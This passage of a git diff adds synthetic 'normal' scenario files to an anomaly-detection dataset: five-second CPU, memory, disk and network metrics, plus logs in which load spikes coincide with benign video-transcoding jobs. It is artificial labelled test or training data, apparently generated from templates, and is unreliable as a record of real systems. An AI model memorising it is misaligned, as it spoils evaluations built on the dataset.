systemd[1]: INFO: Daily health check running. +Aug 27 10:02:30 systemd[1]: INFO: Daily health check running. +Aug 27 10:03:45 systemd[1]: INFO: Daily health check running. +Aug 27 10:05:00 systemd[1]: INFO: Daily health check running. diff --git a/norm_dataset/scenario_12/norm_12_18.csv b/norm_dataset/scenario_12/norm_12_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..1bad9ce6d1d545293b3c2c6de0ec14ca0f2d2093 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,11.17,40.47,12.84,1.25,1.19 +2025-08-27T10:00:05Z,7.6,35.84,13.11,0.74,0.51 +2025-08-27T10:00:10Z,5.47,44.25,29.26,1.13,0.59 +2025-08-27T10:00:15Z,13.43,42.59,20.68,1.08,0.77 +2025-08-27T10:00:20Z,5.24,35.97,23.52,1.01,1.06 +2025-08-27T10:00:25Z,10.79,38.79,28.06,1.08,1.34 +2025-08-27T10:00:30Z,9.45,38.83,24.18,0.95,0.86 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+2025-08-27T10:07:15Z,14.95,38.31,12.18,1.0,1.23 +2025-08-27T10:07:20Z,5.51,39.66,39.45,0.97,1.16 +2025-08-27T10:07:25Z,14.75,41.62,36.81,0.98,0.93 diff --git a/norm_dataset/scenario_12/norm_12_18.log b/norm_dataset/scenario_12/norm_12_18.log new file mode 100644 index 0000000000000000000000000000000000000000..d793c6d6e365335cc411b1da8f1f6578bf4a47d0 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_18.log @@ -0,0 +1,20 @@ +Aug 27 10:00:10 db-connector[1122]: INFO Database connection pool health check OK. +Aug 27 10:00:40 db-connector[1122]: INFO Database connection pool health check OK. +Aug 27 10:00:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 27 10:00:55 db-connector[1122]: INFO Database connection pool health check OK. +Aug 27 10:01:20 db-connector[1122]: INFO Database connection pool health check OK. +Aug 27 10:01:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:15 db-connector[1122]: INFO Database connection pool health check OK. +Aug 27 10:02:25 auth-service[6789]: INFO User authentication successful for user 'admin' +Aug 27 10:02:45 auth-service[6789]: INFO User authentication successful for user 'admin' +Aug 27 10:02:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 27 10:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 27 10:04:15 db-connector[1122]: INFO Database connection pool health check OK. +Aug 27 10:05:10 db-connector[1122]: INFO Database connection pool health check OK. +Aug 27 10:05:30 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:00 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 27 10:06:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:06:25 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:50 db-connector[1122]: INFO Database connection pool health check OK. +Aug 27 10:07:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:07:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_12/norm_12_19.csv b/norm_dataset/scenario_12/norm_12_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..8d8e6ca02b3cd46717c013a05cd1856cedddc5d9 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,11.17,30.95,13.21,1.25,1.19 +2025-08-15T10:00:05Z,7.6,31.04,6.26,0.74,0.51 +2025-08-15T10:00:10Z,5.47,36.42,18.87,1.13,0.59 +2025-08-15T10:00:15Z,13.43,33.56,16.39,1.08,0.77 +2025-08-15T10:00:20Z,5.24,34.51,6.45,1.01,1.06 +2025-08-15T10:00:25Z,10.79,36.02,10.69,1.08,1.34 +2025-08-15T10:00:30Z,9.45,34.73,10.75,0.95,0.86 +2025-08-15T10:00:35Z,8.39,37.15,19.21,0.91,0.73 +2025-08-15T10:00:40Z,10.46,33.58,13.39,1.14,1.36 +2025-08-15T10:00:45Z,14.23,39.26,7.71,1.05,1.38 +2025-08-15T10:00:50Z,12.26,39.58,19.76,0.65,1.39 +2025-08-15T10:00:55Z,5.43,32.91,7.31,0.94,1.07 +2025-08-15T10:01:00Z,7.64,35.81,17.91,1.24,0.58 +2025-08-15T10:01:05Z,12.62,35.14,11.1,0.89,1.24 +2025-08-15T10:01:10Z,6.92,35.42,8.84,1.31,1.0 +2025-08-15T10:01:15Z,88.46,63.67,92.52,83.02,1.05 +2025-08-15T10:01:20Z,92.82,59.66,102.48,88.59,1.26 +2025-08-15T10:01:25Z,82.3,55.66,86.61,108.16,0.78 +2025-08-15T10:01:30Z,92.11,59.85,145.8,91.0,1.19 +2025-08-15T10:01:35Z,79.91,62.8,85.29,106.43,0.51 +2025-08-15T10:01:40Z,93.2,54.19,81.3,0.58,1.38 +2025-08-15T10:01:45Z,90.72,54.45,114.24,1.46,1.16 +2025-08-15T10:01:50Z,92.44,63.7,121.47,0.98,0.77 +2025-08-15T10:01:55Z,89.47,55.36,87.88,0.5,1.12 +2025-08-15T10:02:00Z,76.99,63.7,142.04,0.59,1.0 +2025-08-15T10:02:05Z,86.53,59.61,114.64,1.23,1.31 +2025-08-15T10:02:10Z,86.28,53.54,142.21,1.14,0.89 +2025-08-15T10:02:15Z,78.92,50.48,142.27,1.15,0.68 +2025-08-15T10:02:20Z,96.13,52.48,144.17,0.61,0.53 +2025-08-15T10:02:25Z,91.86,64.1,118.01,0.94,1.07 +2025-08-15T10:02:30Z,80.23,54.1,102.67,0.56,0.51 +2025-08-15T10:02:35Z,91.48,61.28,119.23,1.3,1.21 +2025-08-15T10:02:40Z,78.01,64.03,103.74,1.31,1.3 +2025-08-15T10:02:45Z,89.81,54.05,101.77,0.58,1.48 +2025-08-15T10:02:50Z,88.13,52.26,130.05,1.09,0.62 +2025-08-15T10:02:55Z,90.29,51.46,97.77,1.42,0.54 +2025-08-15T10:03:00Z,97.89,51.38,83.9,0.81,0.65 +2025-08-15T10:03:05Z,78.93,58.12,143.31,1.49,1.32 +2025-08-15T10:03:10Z,75.8,59.48,85.78,0.88,1.04 +2025-08-15T10:03:15Z,86.91,54.03,80.14,1.49,1.48 +2025-08-15T10:03:20Z,83.82,58.74,126.68,0.97,1.22 +2025-08-15T10:03:25Z,86.79,53.2,105.45,0.61,0.81 +2025-08-15T10:03:30Z,78.31,50.17,95.44,1.01,1.27 +2025-08-15T10:03:35Z,85.96,62.66,146.56,0.8,0.74 +2025-08-15T10:03:40Z,78.88,58.63,115.67,0.62,1.11 +2025-08-15T10:03:45Z,80.35,56.76,119.84,1.14,0.62 +2025-08-15T10:03:50Z,83.84,53.91,116.68,0.97,0.51 +2025-08-15T10:03:55Z,82.12,56.36,143.12,1.2,1.46 +2025-08-15T10:04:00Z,97.42,57.23,108.1,0.54,0.66 +2025-08-15T10:04:05Z,82.24,63.17,93.6,1.08,0.67 +2025-08-15T10:04:10Z,91.42,63.65,108.3,0.65,1.09 +2025-08-15T10:04:15Z,79.76,59.39,96.46,1.12,0.84 +2025-08-15T10:04:20Z,83.51,62.75,112.93,0.94,0.9 +2025-08-15T10:04:25Z,76.91,57.1,142.43,1.03,0.86 +2025-08-15T10:04:30Z,91.2,53.4,147.13,1.36,0.74 +2025-08-15T10:04:35Z,80.75,58.61,141.74,0.94,1.01 +2025-08-15T10:04:40Z,87.72,52.35,88.07,1.38,0.51 +2025-08-15T10:04:45Z,78.4,52.1,135.41,1.47,1.12 +2025-08-15T10:04:50Z,75.99,57.25,147.96,0.68,1.24 +2025-08-15T10:04:55Z,85.45,62.92,83.59,1.18,0.79 +2025-08-15T10:05:00Z,81.08,61.9,138.63,1.29,1.04 +2025-08-15T10:05:05Z,96.72,59.46,123.8,0.94,0.68 +2025-08-15T10:05:10Z,80.64,54.09,132.63,1.26,1.04 +2025-08-15T10:05:15Z,86.37,60.94,85.36,1.35,0.95 +2025-08-15T10:05:20Z,95.94,61.83,95.53,1.0,1.07 +2025-08-15T10:05:25Z,78.99,55.42,128.1,0.56,1.44 +2025-08-15T10:05:30Z,76.2,54.52,113.01,1.39,1.46 +2025-08-15T10:05:35Z,87.65,65.0,91.39,1.02,1.31 +2025-08-15T10:05:40Z,91.35,52.8,111.89,1.09,1.35 +2025-08-15T10:05:45Z,86.96,64.35,129.9,1.06,1.4 +2025-08-15T10:05:50Z,93.63,61.03,98.66,1.25,0.76 +2025-08-15T10:05:55Z,84.45,63.38,119.38,0.94,1.46 +2025-08-15T10:06:00Z,75.16,62.2,109.36,0.69,1.44 +2025-08-15T10:06:05Z,96.68,61.22,114.42,0.69,0.82 +2025-08-15T10:06:10Z,86.26,60.63,119.36,0.55,0.99 +2025-08-15T10:06:15Z,8.53,33.71,14.14,1.03,1.34 +2025-08-15T10:06:20Z,9.73,37.88,7.16,1.43,0.58 +2025-08-15T10:06:25Z,6.52,38.37,11.73,1.13,1.31 +2025-08-15T10:06:30Z,6.63,38.97,17.66,1.09,1.47 +2025-08-15T10:06:35Z,14.66,35.06,17.47,0.83,0.72 +2025-08-15T10:06:40Z,6.24,34.27,18.14,1.1,1.37 +2025-08-15T10:06:45Z,5.03,35.62,16.03,1.47,1.14 +2025-08-15T10:06:50Z,12.24,32.23,15.64,1.47,1.4 +2025-08-15T10:06:55Z,5.06,34.77,18.96,0.72,0.6 +2025-08-15T10:07:00Z,7.45,33.48,19.03,0.62,1.0 +2025-08-15T10:07:05Z,5.46,30.98,16.82,0.72,1.0 +2025-08-15T10:07:10Z,9.74,32.54,5.56,1.25,0.76 +2025-08-15T10:07:15Z,14.95,30.73,9.96,1.0,1.23 +2025-08-15T10:07:20Z,5.51,39.82,11.99,0.97,1.16 +2025-08-15T10:07:25Z,14.75,38.94,14.93,0.98,0.93 diff --git a/norm_dataset/scenario_12/norm_12_19.log b/norm_dataset/scenario_12/norm_12_19.log new file mode 100644 index 0000000000000000000000000000000000000000..e1e8a99bcc9d981c3152b2cb0f2f14f8a97c1414 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_19.log @@ -0,0 +1,16 @@ +Aug 15 10:00:10 systemd[1]: Starting daily user session cleaning... +Aug 15 10:00:45 CRON[3102]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:01:20 api-server[887]: INFO: Received new video upload 'family_vacation_4k.mov' from user 'john_doe'. +Aug 15 10:01:22 job-queue[554]: INFO: New transcoding job #7812 for 'family_vacation_4k.mov' queued. Priority: normal. +Aug 15 10:01:30 transcode-worker[1765]: INFO: Starting transcoding job #7812 for 'family_vacation_4k.mov'. +Aug 15 10:01:31 transcode-worker[1765]: INFO: FFmpeg process started with pid 1789. +Aug 15 10:02:45 transcode-worker[1765]: INFO: Transcoding to 1080p successful for job #7812. +Aug 15 10:03:50 transcode-worker[1765]: INFO: Transcoding to 720p successful for job #7812. +Aug 15 10:04:35 transcode-worker[1765]: INFO: Transcoding to 480p successful for job #7812. +Aug 15 10:05:15 transcode-worker[1765]: INFO: Thumbnail generation successful for job #7812. +Aug 15 10:05:40 transcode-worker[1765]: INFO: FFmpeg process 1789 finished with exit code 0. +Aug 15 10:05:42 transcode-worker[1765]: INFO: Job #7812 'family_vacation_4k.mov' completed successfully. Output files saved to storage bucket. +Aug 15 10:05:45 job-queue[554]: INFO: Job #7812 marked as completed. +Aug 15 10:06:30 systemd[1]: Starting daily package update check... +Aug 15 10:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod api-server-xyz +Aug 15 10:07:20 CRON[3550]: (root) CMD (check for security updates) diff --git a/norm_dataset/scenario_12/norm_12_2.csv b/norm_dataset/scenario_12/norm_12_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..0c4c41e2c03f359b8b72df696a62d701db9f8f49 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,16.23,35.99,4.13,2.04,0.92 +2025-08-15T10:00:05Z,16.55,38.93,4.18,1.91,0.73 +2025-08-15T10:00:10Z,17.03,40.36,4.87,1.29,1.39 +2025-08-15T10:00:15Z,19.15,38.22,5.33,1.42,1.2 +2025-08-15T10:00:20Z,15.27,41.86,5.06,1.62,1.08 +2025-08-15T10:00:25Z,15.34,46.24,2.7,1.69,1.21 +2025-08-15T10:00:30Z,14.36,38.32,4.24,1.37,1.03 +2025-08-15T10:00:35Z,17.35,41.61,5.36,1.16,1.21 +2025-08-15T10:00:40Z,11.91,44.72,3.65,1.18,1.11 +2025-08-15T10:00:45Z,14.83,43.17,4.63,1.51,0.9 +2025-08-15T10:00:50Z,16.16,34.54,4.8,1.67,0.9 +2025-08-15T10:00:55Z,16.35,39.97,4.07,1.36,0.85 +2025-08-15T10:01:00Z,15.79,35.46,5.58,1.75,1.35 +2025-08-15T10:01:05Z,19.73,40.73,5.78,1.85,0.96 +2025-08-15T10:01:10Z,15.32,39.53,4.6,1.57,1.03 +2025-08-15T10:01:15Z,17.98,44.52,5.0,48.93,0.82 +2025-08-15T10:01:20Z,87.93,60.32,131.21,50.99,0.61 +2025-08-15T10:01:25Z,90.22,55.24,179.79,49.13,0.99 +2025-08-15T10:01:30Z,79.32,55.46,145.06,1.52,0.97 +2025-08-15T10:01:35Z,81.74,47.1,158.03,1.69,0.94 +2025-08-15T10:01:40Z,88.53,52.89,141.38,1.53,1.04 +2025-08-15T10:01:45Z,90.59,50.97,136.67,1.61,1.15 +2025-08-15T10:01:50Z,80.17,51.49,109.7,1.31,1.13 +2025-08-15T10:01:55Z,91.68,57.35,135.17,1.73,0.99 +2025-08-15T10:02:00Z,81.28,56.87,208.16,1.61,1.36 +2025-08-15T10:02:05Z,83.04,51.41,135.86,1.9,1.23 +2025-08-15T10:02:10Z,91.66,53.37,161.55,1.29,0.71 +2025-08-15T10:02:15Z,90.27,55.53,161.57,1.06,0.88 +2025-08-15T10:02:20Z,79.55,55.83,154.64,1.65,1.1 +2025-08-15T10:02:25Z,84.08,60.4,155.29,1.66,0.97 +2025-08-15T10:02:30Z,89.62,57.7,165.91,1.17,1.07 +2025-08-15T10:02:35Z,90.43,54.86,118.19,2.0,1.1 +2025-08-15T10:02:40Z,71.02,55.84,176.23,1.57,1.08 +2025-08-15T10:02:45Z,82.09,50.56,147.63,1.77,1.01 +2025-08-15T10:02:50Z,85.6,55.97,142.86,1.91,1.1 +2025-08-15T10:02:55Z,74.9,52.79,173.97,1.58,1.0 +2025-08-15T10:03:00Z,85.52,57.54,138.28,1.5,0.9 +2025-08-15T10:03:05Z,87.87,49.71,162.6,1.89,1.12 +2025-08-15T10:03:10Z,83.15,55.28,152.98,1.49,0.82 +2025-08-15T10:03:15Z,82.32,53.86,141.46,1.51,1.0 +2025-08-15T10:03:20Z,87.54,57.27,167.02,1.44,0.99 +2025-08-15T10:03:25Z,74.67,58.16,181.62,1.45,1.25 +2025-08-15T10:03:30Z,84.11,58.37,143.16,1.55,1.02 +2025-08-15T10:03:35Z,83.92,56.79,215.92,1.58,0.81 +2025-08-15T10:03:40Z,83.79,50.06,93.81,1.31,1.31 +2025-08-15T10:03:45Z,73.85,52.54,177.37,1.34,1.04 +2025-08-15T10:03:50Z,89.03,56.37,142.76,1.58,0.93 +2025-08-15T10:03:55Z,81.14,48.74,119.15,1.47,0.93 +2025-08-15T10:04:00Z,87.68,60.26,167.94,1.49,1.24 +2025-08-15T10:04:05Z,77.28,50.17,112.87,1.82,1.34 +2025-08-15T10:04:10Z,92.53,48.1,184.67,1.72,1.12 +2025-08-15T10:04:15Z,77.58,54.45,151.53,1.94,1.38 +2025-08-15T10:04:20Z,80.52,53.04,161.17,2.0,0.82 +2025-08-15T10:04:25Z,82.95,54.81,136.86,1.58,0.9 +2025-08-15T10:04:30Z,89.67,52.62,140.12,1.59,1.43 +2025-08-15T10:04:35Z,82.09,62.08,175.5,1.39,1.14 +2025-08-15T10:04:40Z,91.7,53.93,160.16,1.26,0.91 +2025-08-15T10:04:45Z,89.47,53.84,183.15,1.62,0.29 +2025-08-15T10:04:50Z,81.97,54.4,165.17,1.87,1.19 +2025-08-15T10:04:55Z,89.78,51.75,170.17,1.68,1.0 +2025-08-15T10:05:00Z,86.71,53.87,138.05,1.76,1.02 +2025-08-15T10:05:05Z,16.66,36.54,3.93,1.73,0.87 +2025-08-15T10:05:10Z,17.54,37.01,5.4,1.31,1.28 +2025-08-15T10:05:15Z,12.37,43.15,4.91,1.62,0.76 +2025-08-15T10:05:20Z,15.17,44.35,5.38,1.65,0.52 +2025-08-15T10:05:25Z,15.57,39.35,5.33,1.52,0.79 +2025-08-15T10:05:30Z,11.94,37.62,5.88,1.74,1.04 +2025-08-15T10:05:35Z,13.8,37.6,3.07,1.35,1.21 +2025-08-15T10:05:40Z,14.78,39.09,5.43,1.53,1.34 +2025-08-15T10:05:45Z,14.84,34.67,4.93,1.82,0.73 +2025-08-15T10:05:50Z,17.4,35.63,5.42,1.3,0.7 +2025-08-15T10:05:55Z,16.62,36.51,4.45,1.48,1.02 +2025-08-15T10:06:00Z,14.99,41.82,5.68,1.56,1.31 +2025-08-15T10:06:05Z,12.97,41.17,3.37,1.42,1.07 +2025-08-15T10:06:10Z,14.12,42.58,6.01,1.63,1.02 +2025-08-15T10:06:15Z,18.34,39.65,3.68,1.61,1.35 +2025-08-15T10:06:20Z,15.77,38.02,4.97,1.53,0.88 +2025-08-15T10:06:25Z,13.12,47.59,4.89,1.43,1.44 +2025-08-15T10:06:30Z,11.07,41.39,5.43,1.49,0.96 +2025-08-15T10:06:35Z,13.81,39.76,7.15,1.21,1.14 +2025-08-15T10:06:40Z,14.04,40.04,4.43,1.31,1.44 +2025-08-15T10:06:45Z,14.33,40.92,7.48,1.27,0.79 +2025-08-15T10:06:50Z,17.53,39.66,4.91,1.53,0.62 +2025-08-15T10:06:55Z,17.54,37.73,6.79,1.44,1.12 +2025-08-15T10:07:00Z,13.25,39.24,3.11,1.22,1.01 +2025-08-15T10:07:05Z,13.92,45.6,4.0,1.82,0.95 +2025-08-15T10:07:10Z,14.45,35.07,4.02,1.27,0.96 +2025-08-15T10:07:15Z,13.5,34.63,4.45,1.8,1.25 +2025-08-15T10:07:20Z,15.39,42.68,4.32,1.31,1.18 +2025-08-15T10:07:25Z,15.53,39.41,5.54,1.29,1.14 diff --git a/norm_dataset/scenario_12/norm_12_2.log b/norm_dataset/scenario_12/norm_12_2.log new file mode 100644 index 0000000000000000000000000000000000000000..2fddecc86bd3923fb1ccb48d9c7ed6b610cf58db --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_2.log @@ -0,0 +1,14 @@ +Aug 15 10:00:00 api-gateway[4567]: GET /healthcheck status=200 OK +Aug 15 10:00:25 api-gateway[4567]: GET /healthcheck status=200 OK +Aug 15 10:00:50 api-gateway[4567]: GET /healthcheck status=200 OK +Aug 15 10:01:15 task-queue[8899]: INFO: Received new video upload 'family_vacation_2025.mov'. Queueing for transcoding. +Aug 15 10:01:20 transcode-worker[1234]: INFO: Starting transcoding job #8821 for 'family_vacation_2025.mov'. +Aug 15 10:01:20 transcode-worker[1234]: INFO: FFmpeg process started with pid 5678. +Aug 15 10:03:00 transcode-worker[1234]: INFO: Transcoding to 720p successful. +Aug 15 10:04:15 transcode-worker[1234]: INFO: Transcoding to 480p successful. +Aug 15 10:05:05 transcode-worker[1234]: INFO: All formats processed successfully for job #8821. +Aug 15 10:05:05 transcode-worker[1234]: INFO: FFmpeg process 5678 finished. +Aug 15 10:05:15 api-gateway[4567]: GET /healthcheck status=200 OK +Aug 15 10:05:50 api-gateway[4567]: GET /healthcheck status=200 OK +Aug 15 10:06:25 api-gateway[4567]: GET /healthcheck status=200 OK +Aug 15 10:07:00 api-gateway[4567]: GET /healthcheck status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_20.csv b/norm_dataset/scenario_12/norm_12_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..81444f1765907fc4bce2fe01a1fc26c254614274 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,10.38,44.93,17.15,0.95,0.65 +2025-07-15T10:00:05Z,10.19,43.13,15.73,1.21,1.08 +2025-07-15T10:00:10Z,9.03,41.97,16.26,1.26,1.21 +2025-07-15T10:00:15Z,7.52,44.72,16.16,1.18,1.3 +2025-07-15T10:00:20Z,6.72,42.53,15.07,0.67,0.97 +2025-07-15T10:00:25Z,7.85,43.91,12.69,0.53,0.68 +2025-07-15T10:00:30Z,9.17,38.86,13.24,0.55,0.59 +2025-07-15T10:00:35Z,10.71,40.25,14.08,0.99,0.64 +2025-07-15T10:00:40Z,11.66,36.91,17.3,0.84,1.19 +2025-07-15T10:00:45Z,11.19,40.27,16.72,1.01,1.26 +2025-07-15T10:00:50Z,11.77,36.64,17.36,1.03,0.76 +2025-07-15T10:00:55Z,11.35,42.88,14.29,0.95,1.05 +2025-07-15T10:01:00Z,11.32,37.59,13.73,1.08,1.12 +2025-07-15T10:01:05Z,11.83,40.69,15.45,91.2,1.05 +2025-07-15T10:01:10Z,12.03,43.91,19.98,81.59,0.58 +2025-07-15T10:01:15Z,13.82,40.89,24.22,90.96,1.01 +2025-07-15T10:01:20Z,12.67,40.89,26.73,97.54,1.15 +2025-07-15T10:01:25Z,14.87,47.54,26.1,80.46,0.78 +2025-07-15T10:01:30Z,16.72,48.1,23.98,92.24,1.09 +2025-07-15T10:01:35Z,45.51,53.66,46.81,0.96,0.72 +2025-07-15T10:01:40Z,69.29,55.27,70.4,1.3,1.18 +2025-07-15T10:01:45Z,93.16,52.74,93.38,0.63,1.24 +2025-07-15T10:01:50Z,91.13,63.41,100.11,0.93,0.64 +2025-07-15T10:01:55Z,93.96,58.44,104.8,1.06,0.59 +2025-07-15T10:02:00Z,93.11,53.27,112.2,1.35,1.1 +2025-07-15T10:02:05Z,95.02,56.56,109.31,0.87,0.64 +2025-07-15T10:02:10Z,94.13,64.66,107.38,1.41,1.29 +2025-07-15T10:02:15Z,93.68,58.0,107.37,0.94,1.11 +2025-07-15T10:02:20Z,89.54,52.35,103.17,0.61,1.45 +2025-07-15T10:02:25Z,89.17,52.46,99.73,0.85,1.04 +2025-07-15T10:02:30Z,90.58,50.94,92.46,0.6,1.14 +2025-07-15T10:02:35Z,93.83,53.79,99.7,1.17,1.31 +2025-07-15T10:02:40Z,94.96,61.66,108.16,0.88,0.88 +2025-07-15T10:02:45Z,97.51,61.78,113.11,0.6,1.44 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index 0000000000000000000000000000000000000000..4a23f438425cc35d09a0a19b8f8e5531dc9b2759 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_20.log @@ -0,0 +1,19 @@ +Jul 15 10:00:10 systemd[1]: Starting daily user session cleanup... +Jul 15 10:00:40 web-app[2501]: GET /api/v1/status status=200 OK +Jul 15 10:01:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:15 web-app[2501]: INFO: Received new video upload 'wedding_final.mp4'. +Jul 15 10:01:20 web-app[2501]: INFO: File size: 2.3GB. Content-Type: video/mp4. +Jul 15 10:01:30 task-queue[808]: INFO: New transcoding job #555 queued for 'wedding_final.mp4'. +Jul 15 10:01:40 transcoding-worker[1122]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Jul 15 10:01:50 transcoding-worker[1122]: INFO: FFmpeg process started with pid 4567. +Jul 15 10:02:05 systemd[1]: Starting daily clean up activities... +Jul 15 10:02:55 transcoding-worker[1122]: DEBUG: Reading source file 'wedding_final.mp4'. +Jul 15 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod transcoding-worker-xyz +Jul 15 10:04:00 transcoding-worker[1122]: INFO: Transcoding to 720p successful. +Jul 15 10:04:10 web-app[2501]: GET /api/v1/user/34 status=200 OK +Jul 15 10:05:10 transcoding-worker[1122]: INFO: Transcoding to 480p successful. +Jul 15 10:06:15 transcoding-worker[1122]: INFO: Transcoding to 1080p successful. +Jul 15 10:06:30 transcoding-worker[1122]: INFO: FFmpeg process finished successfully. +Jul 15 10:06:40 transcoding-worker[1122]: INFO: Transcoding job #555 for 'wedding_final.mp4' completed. +Jul 15 10:07:00 systemd[1]: Daily user session cleanup finished. +Jul 15 10:07:20 web-app[2501]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_21.csv b/norm_dataset/scenario_12/norm_12_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..334bd59982ece49420ec420be8ac60c0df572358 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,10.41,32.42,20.93,2.33,0.73 +2025-07-15T14:00:05Z,10.03,35.41,16.99,1.66,0.86 +2025-07-15T14:00:10Z,9.11,32.8,14.87,1.18,0.89 +2025-07-15T14:00:15Z,13.49,32.92,11.54,1.08,1.37 +2025-07-15T14:00:20Z,9.99,36.93,17.34,1.57,0.93 +2025-07-15T14:00:25Z,7.57,36.4,25.0,0.5,0.87 +2025-07-15T14:00:30Z,9.43,37.02,15.67,1.64,0.56 +2025-07-15T14:00:35Z,12.6,35.47,20.44,1.71,0.97 +2025-07-15T14:00:40Z,11.21,41.12,18.89,1.58,1.12 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+2025-07-15T14:07:25Z,13.36,40.31,14.72,1.13,1.38 diff --git a/norm_dataset/scenario_12/norm_12_21.log b/norm_dataset/scenario_12/norm_12_21.log new file mode 100644 index 0000000000000000000000000000000000000000..6b3a89d773b001b743d6ce1e3cd5d448f26eef07 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_21.log @@ -0,0 +1,21 @@ +Jul 15 14:00:00 systemd[1]: Starting daily health checks... +Jul 15 14:00:50 api-server[4567]: INFO: Received new video upload 'family_vacation_4k.mov'. +Jul 15 14:00:50 api-server[4567]: INFO: File size: 2.1GB. Queueing for transcoding. +Jul 15 14:00:53 job-queue[888]: INFO: New job #789 added to queue 'video-transcode'. +Jul 15 14:01:13 transcoder-worker[1122]: INFO: Polling queue 'video-transcode' for new jobs. +Jul 15 14:01:15 transcoder-worker[1122]: INFO: Starting transcoding job #789 for 'family_vacation_4k.mov'. +Jul 15 14:01:17 transcoder-worker[1122]: INFO: FFmpeg process started with pid 3456. +Jul 15 14:01:20 transcoder-worker[1122]: DETAIL: Source resolution: 3840x2160, codec: hevc. +Jul 15 14:01:23 transcoder-worker[1122]: DETAIL: Target formats: [1080p_h264, 720p_h264, 480p_h264]. +Jul 15 14:02:30 CRON[9910]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:03:45 transcoder-worker[1122]: INFO: Transcoding to 1080p successful for job #789. +Jul 15 14:03:45 transcoder-worker[1122]: INFO: Uploading 'family_vacation_4k_1080p.mp4' to storage. +Jul 15 14:03:53 storage-client[1122]: INFO: Successfully uploaded 'family_vacation_4k_1080p.mp4'. +Jul 15 14:05:25 transcoder-worker[1122]: INFO: Transcoding to 720p successful for job #789. +Jul 15 14:05:30 transcoder-worker[1122]: INFO: Uploading 'family_vacation_4k_720p.mp4' to storage. +Jul 15 14:05:37 storage-client[1122]: INFO: Successfully uploaded 'family_vacation_4k_720p.mp4'. +Jul 15 14:06:15 transcoder-worker[1122]: INFO: Transcoding to 480p successful for job #789. +Jul 15 14:06:18 transcoder-worker[1122]: INFO: Uploading 'family_vacation_4k_480p.mp4' to storage. +Jul 15 14:06:22 storage-client[1122]: INFO: Successfully uploaded 'family_vacation_4k_480p.mp4'. +Jul 15 14:06:25 transcoder-worker[1122]: INFO: Transcoding job #789 completed successfully. Worker is now idle. +Jul 15 14:06:40 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_12/norm_12_22.csv b/norm_dataset/scenario_12/norm_12_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..d1d59c05f8f9d7169942700b249eb4ce1402294d --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,8.09,21.3,5.47,1.34,0.52 +2025-08-27T10:00:05Z,7.89,22.22,8.39,1.05,1.42 +2025-08-27T10:00:10Z,8.63,20.21,7.64,1.26,0.69 +2025-08-27T10:00:15Z,7.93,23.87,8.17,1.24,0.71 +2025-08-27T10:00:20Z,8.96,23.42,12.58,1.13,0.59 +2025-08-27T10:00:25Z,7.51,22.45,6.7,1.42,1.23 +2025-08-27T10:00:30Z,12.27,28.58,22.62,69.31,1.57 +2025-08-27T10:00:35Z,16.65,29.98,23.41,51.04,1.52 +2025-08-27T10:00:40Z,89.99,50.13,164.37,0.49,0.3 +2025-08-27T10:00:45Z,88.03,48.84,180.97,0.78,0.39 +2025-08-27T10:00:50Z,94.28,47.07,187.0,0.25,0.62 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+2025-08-27T10:07:20Z,11.24,24.22,16.92,0.6,1.0 +2025-08-27T10:07:25Z,9.01,22.29,14.99,1.16,0.93 diff --git a/norm_dataset/scenario_12/norm_12_22.log b/norm_dataset/scenario_12/norm_12_22.log new file mode 100644 index 0000000000000000000000000000000000000000..64fb045598db45300ddc8176d7356c1bae1eb622 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_22.log @@ -0,0 +1,20 @@ +Aug 27 10:00:05 web-app[3456]: GET /api/v1/status status=200 OK +Aug 27 10:00:30 web-app[3456]: INFO: Received new video upload 'family_vacation_4k.mov'. Queueing for transcoding. +Aug 27 10:00:40 